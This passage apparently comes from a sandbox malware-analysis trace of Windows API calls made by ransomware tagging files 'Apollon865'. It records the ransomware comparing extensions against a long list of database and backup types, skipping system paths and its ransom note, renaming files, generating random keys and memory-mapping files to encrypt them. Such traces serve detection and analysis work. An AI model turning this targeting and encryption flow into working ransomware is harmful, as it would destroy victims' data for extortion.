	[0086.946] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0086.946] lstrlenW (lpString="ckp") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0086.946] lstrlenW (lpString="cma") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0086.946] lstrlenW (lpString="cpd") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0086.946] lstrlenW (lpString="dacpac") returned 6
	[0086.946] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0086.946] lstrlenW (lpString="dad") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0086.946] lstrlenW (lpString="dadiagrams") returned 10
	[0086.946] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0086.946] lstrlenW (lpString="daschema") returned 8
	[0086.947] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0086.947] lstrlenW (lpString="db-journal") returned 10
	[0086.947] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0086.947] lstrlenW (lpString="db-shm") returned 6
	[0086.947] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0086.947] lstrlenW (lpString="db-wal") returned 6
	[0086.947] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0086.947] lstrlenW (lpString="dbc") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0086.947] lstrlenW (lpString="dbs") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0086.947] lstrlenW (lpString="dbt") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0086.947] lstrlenW (lpString="dbv") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0086.947] lstrlenW (lpString="dbx") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0086.947] lstrlenW (lpString="dcb") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0086.947] lstrlenW (lpString="dct") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0086.947] lstrlenW (lpString="dcx") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0086.947] lstrlenW (lpString="ddl") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0086.947] lstrlenW (lpString="dlis") returned 4
	[0086.947] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0086.947] lstrlenW (lpString="dp1") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0086.947] lstrlenW (lpString="dqy") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0086.947] lstrlenW (lpString="dsk") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0086.947] lstrlenW (lpString="dsn") returned 3
	[0086.947] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0086.947] lstrlenW (lpString="dtsx") returned 4
	[0086.947] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0086.948] lstrlenW (lpString="dxl") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0086.948] lstrlenW (lpString="eco") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0086.948] lstrlenW (lpString="ecx") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0086.948] lstrlenW (lpString="edb") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0086.948] lstrlenW (lpString="epim") returned 4
	[0086.948] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0086.948] lstrlenW (lpString="fcd") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0086.948] lstrlenW (lpString="fdb") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0086.948] lstrlenW (lpString="fic") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0086.948] lstrlenW (lpString="flexolibrary") returned 12
	[0086.948] lstrlenW (lpString="fm5") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0086.948] lstrlenW (lpString="fmp") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0086.948] lstrlenW (lpString="fmp12") returned 5
	[0086.948] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0086.948] lstrlenW (lpString="fmpsl") returned 5
	[0086.948] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0086.948] lstrlenW (lpString="fol") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0086.948] lstrlenW (lpString="fp3") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0086.948] lstrlenW (lpString="fp4") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0086.948] lstrlenW (lpString="fp5") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0086.948] lstrlenW (lpString="fp7") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0086.948] lstrlenW (lpString="fpt") returned 3
	[0086.948] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0086.948] lstrlenW (lpString="frm") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0086.949] lstrlenW (lpString="gdb") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0086.949] lstrlenW (lpString="gdb") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0086.949] lstrlenW (lpString="grdb") returned 4
	[0086.949] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0086.949] lstrlenW (lpString="gwi") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0086.949] lstrlenW (lpString="hdb") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0086.949] lstrlenW (lpString="his") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0086.949] lstrlenW (lpString="ib") returned 2
	[0086.949] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0086.949] lstrlenW (lpString="idb") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0086.949] lstrlenW (lpString="ihx") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0086.949] lstrlenW (lpString="itdb") returned 4
	[0086.949] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0086.949] lstrlenW (lpString="itw") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0086.949] lstrlenW (lpString="jet") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0086.949] lstrlenW (lpString="jtx") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0086.949] lstrlenW (lpString="kdb") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0086.949] lstrlenW (lpString="kexi") returned 4
	[0086.949] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0086.949] lstrlenW (lpString="kexic") returned 5
	[0086.949] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0086.949] lstrlenW (lpString="kexis") returned 5
	[0086.949] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0086.949] lstrlenW (lpString="lgc") returned 3
	[0086.949] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0086.950] lstrlenW (lpString="lwx") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0086.950] lstrlenW (lpString="maf") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0086.950] lstrlenW (lpString="maq") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0086.950] lstrlenW (lpString="mar") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0086.950] lstrlenW (lpString="marshal") returned 7
	[0086.950] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0086.950] lstrlenW (lpString="mas") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0086.950] lstrlenW (lpString="mav") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0086.950] lstrlenW (lpString="maw") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0086.950] lstrlenW (lpString="mdbhtml") returned 7
	[0086.950] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0086.950] lstrlenW (lpString="mdn") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0086.950] lstrlenW (lpString="mdt") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0086.950] lstrlenW (lpString="mfd") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0086.950] lstrlenW (lpString="mpd") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0086.950] lstrlenW (lpString="mrg") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0086.950] lstrlenW (lpString="mud") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0086.950] lstrlenW (lpString="mwb") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0086.950] lstrlenW (lpString="myd") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0086.950] lstrlenW (lpString="ndf") returned 3
	[0086.950] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0086.951] lstrlenW (lpString="nnt") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0086.951] lstrlenW (lpString="nrmlib") returned 6
	[0086.951] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0086.951] lstrlenW (lpString="ns2") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0086.951] lstrlenW (lpString="ns3") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0086.951] lstrlenW (lpString="ns4") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0086.951] lstrlenW (lpString="nsf") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0086.951] lstrlenW (lpString="nv") returned 2
	[0086.951] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0086.951] lstrlenW (lpString="nv2") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0086.951] lstrlenW (lpString="nwdb") returned 4
	[0086.951] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0086.951] lstrlenW (lpString="nyf") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0086.951] lstrlenW (lpString="odb") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0086.951] lstrlenW (lpString="odb") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0086.951] lstrlenW (lpString="oqy") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0086.951] lstrlenW (lpString="ora") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0086.951] lstrlenW (lpString="orx") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0086.951] lstrlenW (lpString="owc") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0086.951] lstrlenW (lpString="p96") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0086.951] lstrlenW (lpString="p97") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0086.951] lstrlenW (lpString="pan") returned 3
	[0086.951] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0086.952] lstrlenW (lpString="pdb") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0086.952] lstrlenW (lpString="pdm") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0086.952] lstrlenW (lpString="pnz") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0086.952] lstrlenW (lpString="qry") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0086.952] lstrlenW (lpString="qvd") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0086.952] lstrlenW (lpString="rbf") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0086.952] lstrlenW (lpString="rctd") returned 4
	[0086.952] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0086.952] lstrlenW (lpString="rod") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0086.952] lstrlenW (lpString="rodx") returned 4
	[0086.952] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0086.952] lstrlenW (lpString="rpd") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0086.952] lstrlenW (lpString="rsd") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0086.952] lstrlenW (lpString="sas7bdat") returned 8
	[0086.952] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0086.952] lstrlenW (lpString="sbf") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0086.952] lstrlenW (lpString="scx") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0086.952] lstrlenW (lpString="sdb") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0086.952] lstrlenW (lpString="sdc") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0086.952] lstrlenW (lpString="sdf") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0086.952] lstrlenW (lpString="sis") returned 3
	[0086.952] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0086.953] lstrlenW (lpString="spq") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0086.953] lstrlenW (lpString="te") returned 2
	[0086.953] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0086.953] lstrlenW (lpString="teacher") returned 7
	[0086.953] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0086.953] lstrlenW (lpString="tmd") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0086.953] lstrlenW (lpString="tps") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0086.953] lstrlenW (lpString="trc") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0086.953] lstrlenW (lpString="trc") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0086.953] lstrlenW (lpString="trm") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0086.953] lstrlenW (lpString="udb") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0086.953] lstrlenW (lpString="udl") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0086.953] lstrlenW (lpString="usr") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0086.953] lstrlenW (lpString="v12") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0086.953] lstrlenW (lpString="vis") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0086.953] lstrlenW (lpString="vpd") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0086.953] lstrlenW (lpString="vvv") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0086.953] lstrlenW (lpString="wdb") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0086.953] lstrlenW (lpString="wmdb") returned 4
	[0086.953] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0086.953] lstrlenW (lpString="wrk") returned 3
	[0086.953] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0086.953] lstrlenW (lpString="xdb") returned 3
	[0086.954] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0086.954] lstrlenW (lpString="xld") returned 3
	[0086.954] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0086.954] lstrlenW (lpString="xmlff") returned 5
	[0086.954] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0086.954] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.Apollon865") returned 61
	[0086.954] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0086.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.955] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=524) returned 1
	[0086.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.957] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.957] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.957] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.958] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x510, lpName=0x0) returned 0x15c
	[0086.960] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x510) returned 0x100000
	[0086.960] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.960] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.960] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.961] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.961] CloseHandle (hObject=0x15c) returned 1
	[0086.961] CloseHandle (hObject=0x9c) returned 1
	[0086.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.963] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.963] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="Apollon865.txt.exe") returned 1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".") returned 1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="..") returned 1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="windows") returned -1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="bootmgr") returned 1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="temp") returned -1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="pagefile.sys") returned -1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="boot") returned 1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ids.txt") returned -1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat") returned -1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="perflogs") returned -1
	[0086.963] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="MSBuild") returned -1
	[0086.963] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0086.964] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned 50
	[0086.964] lstrcpyW (in: lpString1=0x119e656, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms"
	[0086.964] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0086.964] lstrlenW (lpString="Apollon865") returned 10
	[0086.964] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0086.964] lstrlenW (lpString=".dll") returned 4
	[0086.964] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".dll") returned 1
	[0086.964] lstrlenW (lpString=".lnk") returned 4
	[0086.964] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".lnk") returned 1
	[0086.964] lstrlenW (lpString=".ini") returned 4
	[0086.964] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".ini") returned 1
	[0086.964] lstrlenW (lpString=".sys") returned 4
	[0086.964] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".sys") returned 1
	[0086.964] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0086.964] lstrlenW (lpString="bak") returned 3
	[0086.964] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0086.964] lstrlenW (lpString="ba_") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0086.965] lstrlenW (lpString="dbb") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0086.965] lstrlenW (lpString="vmdk") returned 4
	[0086.965] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1
	[0086.965] lstrlenW (lpString="rar") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0086.965] lstrlenW (lpString="zip") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0086.965] lstrlenW (lpString="tgz") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0086.965] lstrlenW (lpString="vbox") returned 4
	[0086.965] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1
	[0086.965] lstrlenW (lpString="vdi") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0086.965] lstrlenW (lpString="vhd") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0086.965] lstrlenW (lpString="vhdx") returned 4
	[0086.965] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1
	[0086.965] lstrlenW (lpString="avhd") returned 4
	[0086.965] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1
	[0086.965] lstrlenW (lpString="db") returned 2
	[0086.965] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0086.965] lstrlenW (lpString="db2") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0086.965] lstrlenW (lpString="db3") returned 3
	[0086.965] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0086.966] lstrlenW (lpString="dbf") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0086.966] lstrlenW (lpString="mdf") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0086.966] lstrlenW (lpString="mdb") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0086.966] lstrlenW (lpString="sql") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0086.966] lstrlenW (lpString="sqlite") returned 6
	[0086.966] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1
	[0086.966] lstrlenW (lpString="sqlite3") returned 7
	[0086.966] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1
	[0086.966] lstrlenW (lpString="sqlitedb") returned 8
	[0086.966] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1
	[0086.966] lstrlenW (lpString="xml") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0086.966] lstrlenW (lpString="$er") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0086.966] lstrlenW (lpString="4dd") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0086.966] lstrlenW (lpString="4dl") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0086.966] lstrlenW (lpString="^^^") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0086.966] lstrlenW (lpString="abs") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0086.966] lstrlenW (lpString="abx") returned 3
	[0086.966] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0086.966] lstrlenW (lpString="accdb") returned 5
	[0086.966] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1
	[0086.966] lstrlenW (lpString="accdc") returned 5
	[0086.966] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1
	[0086.966] lstrlenW (lpString="accde") returned 5
